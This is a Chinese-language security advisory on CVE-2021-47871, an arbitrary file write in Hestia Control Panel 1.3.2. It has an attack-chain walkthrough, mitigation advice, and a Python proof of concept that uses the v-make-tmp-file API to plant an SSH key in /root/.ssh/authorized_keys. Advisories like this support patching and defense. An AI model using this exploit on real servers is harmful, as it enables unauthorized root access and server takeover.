IPBUF安全漏洞报告
English
CVE-2021-47871 CVSS 8.8 高危

CVE-2021-47871 Hestia Control Panel 任意文件写入漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47871
漏洞类型
任意文件写入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Hestia Control Panel

相关标签

任意文件写入Hestia Control PanelAPI漏洞CVE-2021-47871高危漏洞认证绕过权限提升

漏洞概述

Hestia Control Panel 1.3.2版本存在严重的任意文件写入安全漏洞。该漏洞允许已认证的低权限攻击者通过API接口(index.php端点)将任意内容写入服务器上的指定文件路径。攻击者主要利用v-make-tmp-file命令实现文件写入操作,可以将SSH公钥、配置文件或其他恶意内容写入系统关键位置。此漏洞影响所有使用HestiaCP作为服务器管理面板的用户,攻击者一旦利用成功,可实现持久化访问、权限提升甚至远程代码执行。CVSS评分8.8,属于高危漏洞,攻击复杂度低,无需用户交互即可实施攻击。由于该面板通常部署在Web服务器上,漏洞可导致整个服务器被攻击者控制,建议立即采取修复措施。

技术细节

漏洞根源在于Hestia Control Panel的API端点(index.php)缺乏充分的路径遍历检查和文件写入权限验证。攻击者通过向API发送特制的v-make-tmp-file命令请求,可以指定任意文件路径和内容。具体利用方式如下:攻击者首先使用有效凭证登录HestiaCP,然后构造包含目标文件路径和写入内容的HTTP请求到index.php端点。服务端在处理v-make-tmp-file命令时,直接将用户可控的文件路径参数用于文件创建操作,未进行安全校验。攻击者可利用此漏洞写入SSH authorized_keys文件实现无密码登录,或写入cron任务实现命令执行,亦可修改配置文件获取更高权限。该漏洞影响HestiaCP 1.3.2版本,攻击者需具备有效用户凭证,但低权限账户即可满足要求。

攻击链分析

STEP 1
Reconnaissance
识别目标服务器上运行的Hestia Control Panel版本,确认版本为1.3.2
STEP 2
Authentication
获取HestiaCP的有效用户凭证(可通过暴力破解、社工或利用其他漏洞获取)
STEP 3
API Exploitation
构造特制请求访问index.php API端点,发送v-make-tmp-file命令,指定任意文件路径和内容
STEP 4
File Write
利用漏洞将SSH公钥写入/root/.ssh/authorized_keys,实现SSH无密码登录
STEP 5
Persistence
通过SSH登录服务器,建立持久化后门,可进一步进行横向移动或权限提升
STEP 6
Impact
完全控制服务器,可访问敏感数据、部署恶意软件或作为跳板攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47871 PoC - Hestia Control Panel Arbitrary File Write """ import requests import json TARGET_URL = "https://TARGET_IP:8083/index.php" USERNAME = "attacker" PASSWORD = "password" def exploit_arbitrary_file_write(): """ Exploit arbitrary file write via v-make-tmp-file API endpoint """ # Login to get session login_data = { "user": USERNAME, "password": PASSWORD, "token": "" } session = requests.Session() login_response = session.post(f"{TARGET_URL}?api=json", json=login_data) if login_response.status_code != 200: print("[-] Login failed") return False # Write SSH key to authorized_keys ssh_pub_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7..." payload = { "cmd": "v-make-tmp-file", "arg1": ssh_pub_key, "arg2": "/root/.ssh/authorized_keys" } response = session.post(f"{TARGET_URL}?api=json", json=payload) if response.status_code == 200: print("[+] File written successfully to /root/.ssh/authorized_keys") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_arbitrary_file_write()

影响范围

Hestia Control Panel 1.3.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制对HestiaCP管理面板的网络访问,仅允许可信IP段访问;2) 禁用或限制v-make-tmp-file API命令的使用;3) 监控/var/log/hestia/auth.log日志文件,关注异常的API访问行为;4) 定期检查.ssh目录和authorized_keys文件的完整性,防止被篡改;5) 考虑使用VPN或跳板机访问管理面板,减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表